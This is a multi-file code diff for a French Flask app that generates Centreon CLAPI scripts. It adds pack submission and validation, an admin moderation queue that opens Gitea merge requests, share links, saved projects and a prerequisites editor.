if categorie not in CATEGORIES:
|
||||
problemes.append(f"Categorie inconnue : {categorie or '(vide)'}")
|
||||
|
||||
try:
|
||||
pack = Pack.from_dict(brut)
|
||||
except Exception as erreur: # noqa: BLE001 - message rendu tel quel au contributeur
|
||||
return None, problemes + [f"Structure invalide : {erreur}"]
|
||||
|
||||
if not pack.services:
|
||||
problemes.append("Le pack ne declare aucune sonde.")
|
||||
for service in pack.services:
|
||||
if ";" in service.line:
|
||||
problemes.append(f"Sonde {service.name} : le point-virgule est le separateur CLAPI.")
|
||||
if "$CENTREONPLUGINS$" not in service.line and "$USER1$" not in service.line:
|
||||
problemes.append(
|
||||
f"Sonde {service.name} : la ligne doit commencer par $CENTREONPLUGINS$ ou $USER1$."
|
||||
)
|
||||
|
||||
from .model import MOTIF_PAQUET, Prerequis
|
||||
|
||||
prerequis = Prerequis.from_dict(pack.prerequis)
|
||||
for paquet in (*prerequis.paquets_debian, *prerequis.paquets_rhel):
|
||||
if not MOTIF_PAQUET.match(paquet):
|
||||
problemes.append(f"Prerequis : nom de paquet invalide, {paquet}")
|
||||
|
||||
if problemes:
|
||||
return None, problemes
|
||||
return brut, []
|
||||
|
||||
|
||||
@bp.post("/api/soumissions/verifier")
|
||||
@connexion_requise
|
||||
def verifier_soumission():
|
||||
brut, problemes = valider_pack(str(_corps().get("yaml") or ""))
|
||||
if problemes:
|
||||
return jsonify({"valide": False, "problemes": problemes}), 200
|
||||
pack = Pack.from_dict(brut)
|
||||
return jsonify(
|
||||
{
|
||||
"valide": True,
|
||||
"pack": {
|
||||
"id": pack.id,
|
||||
"nom": pack.name,
|
||||
"categorie": pack.category,
|
||||
"sondes": len(pack.services),
|
||||
"modele_hote": pack.host_template.name,
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@bp.post("/api/soumissions")
|
||||
@connexion_requise
|
||||
def soumettre():
|
||||
utilisateur = utilisateur_courant()
|
||||
if compter_soumissions_du_jour(utilisateur.id) >= Config.SOUMISSIONS_PAR_JOUR:
|
||||
return jsonify({"erreur": "limite de soumissions atteinte pour aujourd'hui"}), 429
|
||||
|
||||
corps = _corps()
|
||||
texte = str(corps.get("yaml") or "")
|
||||
brut, problemes = valider_pack(texte)
|
||||
if problemes:
|
||||
return jsonify({"erreur": "pack invalide", "problemes": problemes}), 400
|
||||
|
||||
pack = Pack.from_dict(brut)
|
||||
soumission = Soumission(
|
||||
utilisateur_id=utilisateur.id,
|
||||
pack_id=pack.id,
|
||||
categorie=pack.category,
|
||||
nom=pack.name,
|
||||
contenu=texte,
|
||||
message=str(corps.get("message") or "")[:2000],
|
||||
)
|
||||
db.session.add(soumission)
|
||||
db.session.commit()
|
||||
return jsonify(soumission.resume())
|
||||
|
||||
|
||||
@bp.get("/api/soumissions")
|
||||
@connexion_requise
|
||||
def mes_soumissions():
|
||||
utilisateur = utilisateur_courant()
|
||||
soumissions = (
|
||||
db.session.query(Soumission)
|
||||
.filter_by(utilisateur_id=utilisateur.id)
|
||||
.order_by(Soumission.cree_le.desc())
|
||||
.limit(50)
|
||||
.all()
|
||||
)
|
||||
return jsonify([s.resume() for s in soumissions])
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- #
|
||||
# Chantier 5 — moderation
|
||||
# --------------------------------------------------------------------------- #
|
||||
|
||||
@bp.get("/api/moderation/soumissions")
|
||||
@administration_requise
|
||||
def moderation_lister():
|
||||
statut = request.args.get("statut", Soumission.EN_ATTENTE)
|
||||
requete = db.session.query(Soumission).order_by(Soumission.cree_le.asc())
|
||||
if statut != "toutes":
|
||||
requete = requete.filter_by(statut=statut)
|
||||
return jsonify([s.resume(avec_auteur=True) for s in requete.limit(200).all()])
|
||||
|
||||
|
||||
@bp.get("/api/moderation/soumissions/<int:identifiant>")
|
||||
@administration_requise
|
||||
def moderation_detail(identifiant: int):
|
||||
soumission = db.session.get(Soumission, identifiant)
|
||||
if soumission is None:
|
||||
return jsonify({"erreur": "soumission introuvable"}), 404
|
||||
donnees = soumission.resume(avec_auteur=True)
|
||||
donnees["contenu"] = soumission.contenu
|
||||
return jsonify(donnees)
|
||||
|
||||
|
||||
@bp.post("/api/moderation/soumissions/<int:identifiant>/publier")
|
||||
@administration_requise
|
||||
def moderation_publier(identifiant: int):
|
||||
soumission = db.session.get(Soumission, identifiant)
|
||||
if soumission is None:
|
||||
return jsonify({"erreur": "soumission introuvable"}), 404
|
||||
if soumission.statut != Soumission.EN_ATTENTE:
|
||||
return jsonify({"erreur": "soumission deja traitee"}), 409
|
||||
if not Config.gitea_actif():
|
||||
return jsonify({"erreur": "publication Gitea non configuree"}), 503
|
||||
|
||||
# Revalidation au moment de publier : le contenu a pu etre juge valide il y
|
||||
# a trois semaines, sous une version anterieure des regles.
|
||||
_, problemes = valider_pack(soumission.contenu)
|
||||
if problemes:
|
||||
return jsonify({"erreur": "le pack n'est plus valide", "problemes": problemes}), 400
|
||||
|
||||
try:
|
||||
url = ouvrir_demande(soumission, soumission.auteur.affichage if soumission.auteur else "inconnu")
|
||||
except ErreurGitea as erreur:
|
||||
return jsonify({"erreur": str(erreur)}), 502
|
||||
|
||||
soumission.statut = Soumission.PUBLIEE
|
||||
soumission.url_pr = url
|
||||
soumission.traite_le = maintenant()
|
||||
db.session.commit()
|
||||
return jsonify(soumission.resume(avec_auteur=True))
|
||||
|
||||
|
||||
@bp.post("/api/moderation/soumissions/<int:identifiant>/refuser")
|
||||
@administration_requise
|
||||
def moderation_refuser(identifiant: int):
|
||||
soumission = db.session.get(Soumission, identifiant)
|
||||
if soumission is None:
|
||||
return jsonify({"erreur": "soumission introuvable"}), 404
|
||||
if soumission.statut != Soumission.EN_ATTENTE:
|
||||
return jsonify({"erreur": "soumission deja traitee"}), 409
|
||||
soumission.statut = Soumission.REFUSEE
|
||||
soumission.reponse = str(_corps().get("motif") or "")[:2000]
|
||||
soumission.traite_le = maintenant()
|
||||
db.session.commit()
|
||||
return jsonify(soumission.resume(avec_auteur=True))
|
||||
+215
-2
@@ -16,7 +16,7 @@ var packsCache = null;
|
||||
function projetVide() {
|
||||
return {
|
||||
name: 'Nouveau projet',
|
||||
centreon_version: '24.x',
|
||||
centreon_version: '25.10',
|
||||
prefix: '',
|
||||
plugins_dir: '/usr/lib/centreon/plugins',
|
||||
poller: 'Central',
|
||||
@@ -24,7 +24,8 @@ function projetVide() {
|
||||
commands: [],
|
||||
service_templates: [],
|
||||
host_templates: [],
|
||||
hosts: []
|
||||
hosts: [],
|
||||
prerequis: { paquets_debian: [], paquets_rhel: [], verifications: [], notes: '' }
|
||||
};
|
||||
}
|
||||
|
||||
@@ -201,6 +202,16 @@ function rendreReglages(main) {
|
||||
main.appendChild(grille);
|
||||
main.appendChild(caseACocher("Ajouter APPLYCFG a la fin des scripts", projet, 'apply_config'));
|
||||
|
||||
main.appendChild(sousTitre('Prerequis des sondes',
|
||||
"Ce qui doit etre installe sur le collecteur ; genere un fichier distinct du CLAPI."));
|
||||
var pre = elt('div', { className: 'prerequis' });
|
||||
if (!projet.prerequis) projet.prerequis = { paquets_debian: [], paquets_rhel: [], verifications: [], notes: '' };
|
||||
pre.appendChild(champListe('Paquets Debian et Ubuntu', projet.prerequis, 'paquets_debian'));
|
||||
pre.appendChild(champListe('Paquets RHEL, Alma, Rocky', projet.prerequis, 'paquets_rhel'));
|
||||
main.appendChild(pre);
|
||||
main.appendChild(champZone('Notes a l\'attention de l\'installateur', projet.prerequis, 'notes'));
|
||||
main.appendChild(champListe('Commandes de verification', projet.prerequis, 'verifications'));
|
||||
|
||||
var info = elt('div', { className: 'notice' });
|
||||
info.appendChild(elt('p', {
|
||||
textContent: 'Le projet est conserve dans ce navigateur uniquement. Rien n\u2019est envoye au serveur ' +
|
||||
@@ -742,3 +753,205 @@ document.addEventListener('keydown', function (e) {
|
||||
});
|
||||
|
||||
rendre();
|
||||
|
||||
// ==========================================================================
|
||||
// Chantiers 3 a 5 : partage, projets enregistres, soumission de packs.
|
||||
// Tout ce bloc est inerte si le serveur n'annonce pas la fonctionnalite.
|
||||
// ==========================================================================
|
||||
|
||||
var CONTEXTE = (function () {
|
||||
var noeud = document.getElementById('donnees-contexte');
|
||||
try { return noeud ? JSON.parse(noeud.textContent) : {}; } catch (e) { return {}; }
|
||||
})();
|
||||
var FONCTIONS = CONTEXTE.fonctions || {};
|
||||
|
||||
function appelJSON(url, options) {
|
||||
options = options || {};
|
||||
options.headers = Object.assign({ 'Content-Type': 'application/json' }, options.headers || {});
|
||||
return fetch(url, options).then(function (reponse) {
|
||||
return reponse.json().catch(function () { return {}; }).then(function (corps) {
|
||||
if (!reponse.ok) throw new Error(corps.erreur || 'echec de la requete');
|
||||
return corps;
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function brancher(id, action) {
|
||||
var bouton = document.getElementById(id);
|
||||
if (bouton) bouton.addEventListener('click', action);
|
||||
}
|
||||
|
||||
// --------------------------------------------------------------- partage
|
||||
|
||||
brancher('btn-partager', function () {
|
||||
appelJSON('/api/partages', { method: 'POST', body: JSON.stringify({ project: projet }) })
|
||||
.then(function (donnees) {
|
||||
ouvrirModale('Lien de partage', function (corps) {
|
||||
corps.appendChild(elt('p', {
|
||||
className: 'lede',
|
||||
textContent: 'Toute personne disposant de ce lien peut ouvrir une copie de ce projet. ' +
|
||||
donnees.avertissement
|
||||
}));
|
||||
var champ = elt('input', { type: 'text', value: donnees.url, readOnly: true });
|
||||
corps.appendChild(champ);
|
||||
champ.focus(); champ.select();
|
||||
var barre = elt('div', { className: 'barre' });
|
||||
barre.appendChild(elt('button', {
|
||||
type: 'button', textContent: 'Copier le lien',
|
||||
onclick: function () {
|
||||
champ.select();
|
||||
if (navigator.clipboard) navigator.clipboard.writeText(donnees.url);
|
||||
else document.execCommand('copy');
|
||||
etat('Lien copie');
|
||||
}
|
||||
}));
|
||||
corps.appendChild(barre);
|
||||
corps.appendChild(elt('small', { textContent: 'Ce lien expire le ' + (donnees.expire_le || '').slice(0, 10) + '.' }));
|
||||
});
|
||||
})
|
||||
.catch(function (erreur) { alert('Partage impossible : ' + erreur.message); });
|
||||
});
|
||||
|
||||
// Ouverture d'un projet partage : la page /p/<id> passe l'identifiant.
|
||||
if (CONTEXTE.partage) {
|
||||
appelJSON('/api/partages/' + encodeURIComponent(CONTEXTE.partage))
|
||||
.then(function (donnees) {
|
||||
var vide = projetVide();
|
||||
Object.keys(vide).forEach(function (k) {
|
||||
if (donnees.project[k] === undefined) donnees.project[k] = vide[k];
|
||||
});
|
||||
projet = donnees.project;
|
||||
selection = { type: 'reglages', index: 0 };
|
||||
sauver(); rendre();
|
||||
etat('Projet partage ouvert');
|
||||
})
|
||||
.catch(function () { alert("Ce lien de partage n'existe pas ou a expire."); });
|
||||
}
|
||||
|
||||
// ----------------------------------------------------- projets en ligne
|
||||
|
||||
brancher('btn-serveur-enregistrer', function () {
|
||||
appelJSON('/api/projets', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ project: projet, id: projet.__id_serveur || null })
|
||||
}).then(function (donnees) {
|
||||
projet.__id_serveur = donnees.id;
|
||||
sauver();
|
||||
etat('Projet enregistre en ligne');
|
||||
}).catch(function (erreur) { alert('Enregistrement impossible : ' + erreur.message); });
|
||||
});
|
||||
|
||||
brancher('btn-serveur-ouvrir', function () {
|
||||
appelJSON('/api/projets').then(function (projets) {
|
||||
ouvrirModale('Mes projets', function (corps) {
|
||||
if (!projets.length) {
|
||||
corps.appendChild(elt('p', { className: 'lede', textContent: 'Aucun projet enregistre pour le moment.' }));
|
||||
return;
|
||||
}
|
||||
var liste = elt('div', { className: 'packs' });
|
||||
projets.forEach(function (entree) {
|
||||
var ligne = elt('div', { className: 'pack-ligne' });
|
||||
var texte = elt('div');
|
||||
texte.appendChild(elt('b', { textContent: entree.nom }));
|
||||
texte.appendChild(elt('div', {
|
||||
className: 'desc',
|
||||
textContent: 'modifie le ' + (entree.maj_le || '').slice(0, 16).replace('T', ' a ')
|
||||
}));
|
||||
ligne.appendChild(texte);
|
||||
var actions = elt('div', { className: 'barre' });
|
||||
actions.appendChild(elt('button', {
|
||||
type: 'button', className: 'small', textContent: 'Ouvrir',
|
||||
onclick: function () {
|
||||
appelJSON('/api/projets/' + entree.id).then(function (donnees) {
|
||||
projet = donnees.project;
|
||||
projet.__id_serveur = donnees.id;
|
||||
selection = { type: 'reglages', index: 0 };
|
||||
fermerModale(); sauver(); rendre();
|
||||
etat('Projet ouvert');
|
||||
});
|
||||
}
|
||||
}));
|
||||
actions.appendChild(elt('button', {
|
||||
type: 'button', className: 'small danger', textContent: 'Supprimer',
|
||||
onclick: function () {
|
||||
if (!confirm('Supprimer ' + entree.nom + ' ?')) return;
|
||||
appelJSON('/api/projets/' + entree.id, { method: 'DELETE' }).then(function () {
|
||||
ligne.remove(); etat('Projet supprime');
|
||||
});
|
||||
}
|
||||
}));
|
||||
ligne.appendChild(actions);
|
||||
liste.appendChild(ligne);
|
||||
});
|
||||
corps.appendChild(liste);
|
||||
});
|
||||
}).catch(function (erreur) { alert('Lecture impossible : ' + erreur.message); });
|
||||
});
|
||||
|
||||
brancher('btn-deconnexion', function () {
|
||||
fetch('/deconnexion', { method: 'POST' }).then(function () { window.location.reload(); });
|
||||
});
|
||||
|
||||
// ------------------------------------------------------ soumission de pack
|
||||
|
||||
brancher('btn-soumettre', function () {
|
||||
ouvrirModale('Proposer un pack au catalogue', function (corps) {
|
||||
corps.appendChild(elt('p', {
|
||||
className: 'lede',
|
||||
textContent: "Collez le YAML de votre pack. Il sera verifie ici, puis relu dans une " +
|
||||
'demande de fusion avant d\u2019entrer au catalogue. Rien n\u2019est execute par le site.'
|
||||
}));
|
||||
|
||||
var zone = elt('textarea', { rows: 16, placeholder: 'id: app-rabbitmq\nname: RabbitMQ\ncategory: application\n...' });
|
||||
corps.appendChild(zone);
|
||||
|
||||
var mot = elt('input', { type: 'text', placeholder: 'Un mot pour le relecteur (facultatif)' });
|
||||
corps.appendChild(mot);
|
||||
|
||||
var retour = elt('div');
|
||||
corps.appendChild(retour);
|
||||
|
||||
var barre = elt('div', { className: 'barre' });
|
||||
var envoi = elt('button', { type: 'button', className: 'primary auto', textContent: 'Soumettre', disabled: true });
|
||||
|
||||
barre.appendChild(elt('button', {
|
||||
type: 'button', textContent: 'Verifier',
|
||||
onclick: function () {
|
||||
appelJSON('/api/soumissions/verifier', {
|
||||
method: 'POST', body: JSON.stringify({ yaml: zone.value })
|
||||
}).then(function (donnees) {
|
||||
retour.innerHTML = '';
|
||||
if (donnees.valide) {
|
||||
var note = elt('div', { className: 'notice' });
|
||||
note.appendChild(elt('b', { textContent: 'Pack valide' }));
|
||||
note.appendChild(elt('p', {
|
||||
textContent: donnees.pack.nom + ' — ' + donnees.pack.sondes + ' sonde(s), modele ' + donnees.pack.modele_hote
|
||||
}));
|
||||
retour.appendChild(note);
|
||||
envoi.disabled = false;
|
||||
} else {
|
||||
var mauvais = elt('div', { className: 'notice bad' });
|
||||
mauvais.appendChild(elt('b', { textContent: 'A corriger' }));
|
||||
var ul = elt('ul');
|
||||
donnees.problemes.forEach(function (p) { ul.appendChild(elt('li', { textContent: p })); });
|
||||
mauvais.appendChild(ul);
|
||||
retour.appendChild(mauvais);
|
||||
envoi.disabled = true;
|
||||
}
|
||||
}).catch(function (erreur) { alert(erreur.message); });
|
||||
}
|
||||
}));
|
||||
|
||||
envoi.addEventListener('click', function () {
|
||||
appelJSON('/api/soumissions', {
|
||||
method: 'POST', body: JSON.stringify({ yaml: zone.value, message: mot.value })
|
||||
}).then(function () {
|
||||
fermerModale();
|
||||
etat('Pack soumis, en attente de relecture');
|
||||
}).catch(function (erreur) { alert('Soumission refusee : ' + erreur.message); });
|
||||
});
|
||||
|
||||
barre.appendChild(envoi);
|
||||
corps.appendChild(barre);
|
||||
});
|
||||
});
|
||||
@@ -63,6 +63,7 @@ small { color: var(--ink-dim); font-size: 12px; display: block; margin-top: 4px;
|
||||
font-size: 14px;
|
||||
font-weight: 600;
|
||||
}
|
||||
.toolbar select { width: auto; min-width: 210px; flex: 0 0 auto; }
|
||||
.toolbar .sep { width: 1px; height: 22px; background: var(--line); margin: 0 4px; }
|
||||
.toolbar .grow { flex: 1; text-align: right; color: var(--ok); font-size: 12.5px; }
|
||||
|
||||
@@ -364,3 +365,32 @@ pre.code {
|
||||
.pied .grow { flex: 1; }
|
||||
.pied a { color: var(--ink-dim); }
|
||||
.pied a:hover { color: var(--accent); }
|
||||
|
||||
/* -------------------------------------------- comptes, partage, moderation */
|
||||
|
||||
.toolbar .compte { font-size: 12.5px; color: var(--ink-dim); }
|
||||
.toolbar .compte a { margin-left: 6px; }
|
||||
.toolbar a.btn { padding: 6px 11px; }
|
||||
|
||||
.wrap-moderation { max-width: 1000px; margin: 0 auto; padding: 22px 26px 60px; }
|
||||
.moderation { display: flex; flex-direction: column; }
|
||||
.moderation-detail {
|
||||
margin-top: 22px;
|
||||
border-top: 1px solid var(--line);
|
||||
padding-top: 18px;
|
||||
}
|
||||
.moderation-detail h3 { margin-bottom: 10px; }
|
||||
.moderation-detail pre.code { border-top: 1px solid var(--line); margin-top: 10px; }
|
||||
|
||||
#modal-corps textarea {
|
||||
font-family: var(--mono);
|
||||
font-size: 12px;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
#modal-corps input[type="text"] { margin-bottom: 10px; }
|
||||
#modal-corps .notice { margin: 12px 0 0; }
|
||||
|
||||
/* --------------------------------------------------------- prerequis */
|
||||
|
||||
.prerequis { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 4px 16px; }
|
||||
.prerequis textarea { min-height: 90px; }
|
||||
@@ -0,0 +1,117 @@
|
||||
/* Moderation des soumissions de packs. */
|
||||
|
||||
'use strict';
|
||||
|
||||
var liste = document.getElementById('liste');
|
||||
var detail = document.getElementById('detail');
|
||||
var filtre = document.getElementById('filtre-statut');
|
||||
|
||||
function creer(tag, props) {
|
||||
var noeud = document.createElement(tag);
|
||||
Object.keys(props || {}).forEach(function (cle) {
|
||||
if (cle === 'onclick') noeud.addEventListener('click', props[cle]);
|
||||
else noeud[cle] = props[cle];
|
||||
});
|
||||
return noeud;
|
||||
}
|
||||
|
||||
function json(url, options) {
|
||||
options = options || {};
|
||||
options.headers = Object.assign({ 'Content-Type': 'application/json' }, options.headers || {});
|
||||
return fetch(url, options).then(function (r) {
|
||||
return r.json().catch(function () { return {}; }).then(function (corps) {
|
||||
if (!r.ok) throw new Error(corps.erreur || 'echec de la requete');
|
||||
return corps;
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function charger() {
|
||||
detail.hidden = true;
|
||||
liste.innerHTML = '';
|
||||
json('/api/moderation/soumissions?statut=' + encodeURIComponent(filtre.value))
|
||||
.then(function (soumissions) {
|
||||
if (!soumissions.length) {
|
||||
liste.appendChild(creer('p', { className: 'lede', textContent: 'Rien dans cette file.' }));
|
||||
return;
|
||||
}
|
||||
soumissions.forEach(function (s) {
|
||||
var ligne = creer('div', { className: 'pack-ligne' });
|
||||
var texte = creer('div');
|
||||
texte.appendChild(creer('b', { textContent: s.nom || s.pack_id }));
|
||||
texte.appendChild(creer('span', { className: 'tag', textContent: s.statut.replace('_', ' ') }));
|
||||
texte.appendChild(creer('div', {
|
||||
className: 'desc',
|
||||
textContent: s.pack_id + ' — ' + s.categorie + ' — propose par ' + (s.auteur || 'inconnu') +
|
||||
' le ' + (s.cree_le || '').slice(0, 10)
|
||||
}));
|
||||
if (s.url_pr) {
|
||||
var lien = creer('a', { href: s.url_pr, textContent: 'demande de fusion', target: '_blank' });
|
||||
lien.rel = 'noopener';
|
||||
texte.appendChild(lien);
|
||||
}
|
||||
if (s.reponse) texte.appendChild(creer('div', { className: 'desc', textContent: 'Motif : ' + s.reponse }));
|
||||
ligne.appendChild(texte);
|
||||
var actions = creer('div', { className: 'barre' });
|
||||
actions.appendChild(creer('button', {
|
||||
type: 'button', className: 'small', textContent: 'Examiner',
|
||||
onclick: function () { examiner(s.id); }
|
||||
}));
|
||||
ligne.appendChild(actions);
|
||||
liste.appendChild(ligne);
|
||||
});
|
||||
})
|
||||
.catch(function (erreur) {
|
||||
liste.appendChild(creer('div', { className: 'notice bad', textContent: erreur.message }));
|
||||
});
|
||||
}
|
||||
|
||||
function examiner(identifiant) {
|
||||
json('/api/moderation/soumissions/' + identifiant).then(function (s) {
|
||||
detail.hidden = false;
|
||||
detail.innerHTML = '';
|
||||
detail.appendChild(creer('h3', { textContent: (s.nom || s.pack_id) + ' — ' + s.pack_id }));
|
||||
if (s.message) {
|
||||
var mot = creer('div', { className: 'notice' });
|
||||
mot.appendChild(creer('b', { textContent: "Mot de l'auteur" }));
|
||||
mot.appendChild(creer('p', { textContent: s.message }));
|
||||
detail.appendChild(mot);
|
||||
}
|
||||
detail.appendChild(creer('div', {
|
||||
className: 'notice',
|
||||
textContent: "Contribution externe : relire les lignes de commande, les macros et les " +
|
||||
'prerequis. Publier ouvre une demande de fusion, ca ne modifie pas la branche principale.'
|
||||
}));
|
||||
detail.appendChild(creer('pre', { className: 'code', textContent: s.contenu }));
|
||||
|
||||
if (s.statut === 'en_attente') {
|
||||
var barre = creer('div', { className: 'barre' });
|
||||
barre.appendChild(creer('button', {
|
||||
type: 'button', className: 'primary auto', textContent: 'Publier (ouvre une demande de fusion)',
|
||||
onclick: function () {
|
||||
json('/api/moderation/soumissions/' + identifiant + '/publier', { method: 'POST' })
|
||||
.then(function (resultat) {
|
||||
alert('Demande de fusion ouverte : ' + (resultat.url_pr || 'voir Gitea'));
|
||||
charger();
|
||||
})
|
||||
.catch(function (erreur) { alert('Publication impossible : ' + erreur.message); });
|
||||
}
|
||||
}));
|
||||
barre.appendChild(creer('button', {
|
||||
type: 'button', className: 'danger', textContent: 'Refuser',
|
||||
onclick: function () {
|
||||
var motif = prompt('Motif du refus, communique a l\'auteur :');
|
||||
if (motif === null) return;
|
||||
json('/api/moderation/soumissions/' + identifiant + '/refuser', {
|
||||
method: 'POST', body: JSON.stringify({ motif: motif })
|
||||
}).then(charger).catch(function (erreur) { alert(erreur.message); });
|
||||
}
|
||||
}));
|
||||
detail.appendChild(barre);
|
||||
}
|
||||
detail.scrollIntoView({ behavior: 'smooth', block: 'start' });
|
||||
}).catch(function (erreur) { alert(erreur.message); });
|
||||
}
|
||||
|
||||
filtre.addEventListener('change', charger);
|
||||
charger();
|
||||
@@ -7,10 +7,26 @@
|
||||
</select>
|
||||
<span class="sep"></span>
|
||||
<button type="button" id="btn-pack">Importer un pack</button>
|
||||
<button type="button" id="btn-import">Ouvrir un projet</button>
|
||||
<button type="button" id="btn-export">Enregistrer le projet</button>
|
||||
<button type="button" id="btn-import">Ouvrir un fichier</button>
|
||||
<button type="button" id="btn-export">Telecharger le projet</button>
|
||||
<button type="button" id="btn-vider" class="danger">Vider</button>
|
||||
{% if fonctions.partage %} <button type="button" id="btn-partager">Partager</button>{% endif %}
|
||||
{% if fonctions.projets_enregistres %}
|
||||
<button type="button" id="btn-serveur-enregistrer" {% if not utilisateur %}hidden{% endif %}>Enregistrer en ligne</button>
|
||||
<button type="button" id="btn-serveur-ouvrir" {% if not utilisateur %}hidden{% endif %}>Mes projets</button>
|
||||
{% endif %}
|
||||
<span class="grow" id="etat-sauvegarde"></span>
|
||||
{% if fonctions.soumissions and utilisateur %}
|
||||
<button type="button" id="btn-soumettre">Proposer un pack</button>
|
||||
{% endif %}
|
||||
{% if fonctions.comptes %}
|
||||
{% if utilisateur %}
|
||||
<span class="compte">{{ utilisateur.affichage }}{% if utilisateur.administrateur %} <a href="/moderation">moderation</a>{% endif %}</span>
|
||||
<button type="button" id="btn-deconnexion" class="small">Se deconnecter</button>
|
||||
{% else %}
|
||||
<a class="btn" href="/connexion">Se connecter</a>
|
||||
{% endif %}
|
||||
{% endif %}
|
||||
<button type="button" id="btn-generer" class="primary">Generer le CLAPI</button>
|
||||
</div>
|
||||
|
||||
@@ -42,5 +58,10 @@
|
||||
</template>
|
||||
|
||||
<script id="donnees-types" type="application/json">{{ command_types|tojson }}</script>
|
||||
<script src="{{ url_for('static', filename='editor.js') }}"></script>
|
||||
<script id="donnees-contexte" type="application/json">{{ {
|
||||
"fonctions": fonctions,
|
||||
"connecte": utilisateur is not none,
|
||||
"partage": partage|default(none),
|
||||
}|tojson }}</script>
|
||||
<script src="{{ url_for('static', filename='editeur.js') }}"></script>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,33 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Moderation — Enclume{% endblock %}
|
||||
{% block body %}
|
||||
<div class="wrap-moderation">
|
||||
{% if not connecte %}
|
||||
<div class="notice">
|
||||
<b>Connexion requise</b>
|
||||
<p>Cette page est reservee a l'equipe de moderation.</p>
|
||||
<p style="margin-top:10px"><a class="btn" href="/connexion?retour=/moderation">Se connecter</a></p>
|
||||
</div>
|
||||
{% elif not autorise %}
|
||||
<div class="notice bad">
|
||||
<b>Acces refuse</b>
|
||||
<p>Votre compte n'appartient pas au groupe de moderation.</p>
|
||||
</div>
|
||||
{% else %}
|
||||
<div class="objet-head">
|
||||
<h2>Soumissions de packs</h2>
|
||||
<span class="grow"></span>
|
||||
<select id="filtre-statut">
|
||||
<option value="en_attente">En attente</option>
|
||||
<option value="publiee">Publiees</option>
|
||||
<option value="refusee">Refusees</option>
|
||||
<option value="toutes">Toutes</option>
|
||||
</select>
|
||||
<a class="btn" href="/">Retour a l'editeur</a>
|
||||
</div>
|
||||
<div class="moderation" id="liste"></div>
|
||||
<div class="moderation-detail" id="detail" hidden></div>
|
||||
{% endif %}
|
||||
</div>
|
||||
{% if autorise %}<script src="{{ url_for('static', filename='moderation.js') }}"></script>{% endif %}
|
||||
{% endblock %}
|
||||
+49
-1
@@ -15,7 +15,10 @@ import zipfile
|
||||
|
||||
from flask import Flask, Response, jsonify, render_template, request
|
||||
|
||||
from . import auth
|
||||
from .catalog import CATEGORIES, Catalog
|
||||
from .config import Config
|
||||
from .db import db
|
||||
from .generator import build_plan, generate, render_bundle
|
||||
from .model import CENTREON_VERSIONS, COMMAND_TYPES, Project, detect_macros, strip_secrets
|
||||
from .packs import pack_to_project
|
||||
@@ -44,9 +47,23 @@ def _repertoire_catalogue() -> str:
|
||||
|
||||
def create_app() -> Flask:
|
||||
app = Flask(__name__)
|
||||
app.config.from_object(Config)
|
||||
app.config["MAX_CONTENT_LENGTH"] = MAX_BODY
|
||||
app.config["CATALOG"] = Catalog(_repertoire_catalogue())
|
||||
|
||||
if Config.base_active():
|
||||
db.init_app(app)
|
||||
auth.init_app(app)
|
||||
|
||||
from .routes_donnees import bp as bp_donnees
|
||||
|
||||
app.register_blueprint(bp_donnees)
|
||||
|
||||
if not Config.SECRET_KEY_FOURNIE and Config.base_active():
|
||||
app.logger.warning(
|
||||
"ENCLUME_SECRET_KEY absente : les sessions seront perdues au redemarrage."
|
||||
)
|
||||
|
||||
def catalog() -> Catalog:
|
||||
return app.config["CATALOG"]
|
||||
|
||||
@@ -69,7 +86,13 @@ def create_app() -> Flask:
|
||||
|
||||
@app.context_processor
|
||||
def contexte_commun() -> dict:
|
||||
return {"version": os.environ.get("ENCLUME_VERSION", "dev")}
|
||||
utilisateur = auth.utilisateur_courant() if Config.base_active() else None
|
||||
return {
|
||||
"version": Config.VERSION,
|
||||
"fonctions": Config.etat(),
|
||||
"utilisateur": utilisateur,
|
||||
"oidc_nom": Config.OIDC_NOM,
|
||||
}
|
||||
|
||||
@app.get("/")
|
||||
def editor() -> str:
|
||||
@@ -84,6 +107,30 @@ def create_app() -> Flask:
|
||||
service_count=cat.service_count,
|
||||
)
|
||||
|
||||
@app.get("/p/<identifiant>")
|
||||
def page_partage(identifiant: str) -> str:
|
||||
"""Ouvre l'editeur, qui chargera le projet partage depuis l'API."""
|
||||
cat = catalog()
|
||||
return render_template(
|
||||
"editeur.html",
|
||||
versions=CENTREON_VERSIONS,
|
||||
command_types=COMMAND_TYPES,
|
||||
categories=CATEGORIES,
|
||||
grouped=cat.by_category(),
|
||||
pack_count=len(cat.packs),
|
||||
service_count=cat.service_count,
|
||||
partage=identifiant,
|
||||
)
|
||||
|
||||
@app.get("/moderation")
|
||||
def page_moderation():
|
||||
utilisateur = auth.utilisateur_courant() if Config.base_active() else None
|
||||
if utilisateur is None:
|
||||
return render_template("moderation.html", autorise=False, connecte=False)
|
||||
return render_template(
|
||||
"moderation.html", autorise=utilisateur.administrateur, connecte=True
|
||||
)
|
||||
|
||||
@app.get("/sante")
|
||||
def health() -> Response:
|
||||
cat = catalog()
|
||||
@@ -95,6 +142,7 @@ def create_app() -> Flask:
|
||||
"packs": len(cat.packs),
|
||||
"source_catalogue": cat.root,
|
||||
"erreurs_catalogue": cat.errors,
|
||||
"fonctions": Config.etat(),
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
"""Contexte Alembic.
|
||||
|
||||
L'URL vient de l'environnement, jamais du fichier ini : la meme image sert en
|
||||
developpement et en production.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import sys
|
||||
|
||||
from alembic import context
|
||||
from sqlalchemy import engine_from_config, pool
|
||||
|
||||
sys.path.insert(0, os.getcwd())
|
||||
|
||||
from enclume.db import Base # noqa: E402
|
||||
|
||||
config = context.config
|
||||
config.set_main_option("sqlalchemy.url", os.environ.get("ENCLUME_DATABASE_URL", ""))
|
||||
target_metadata = Base.metadata
|
||||
|
||||
|
||||
def run_migrations_offline() -> None:
|
||||
context.configure(
|
||||
url=config.get_main_option("sqlalchemy.url"),
|
||||
target_metadata=target_metadata,
|
||||
literal_binds=True,
|
||||
dialect_opts={"paramstyle": "named"},
|
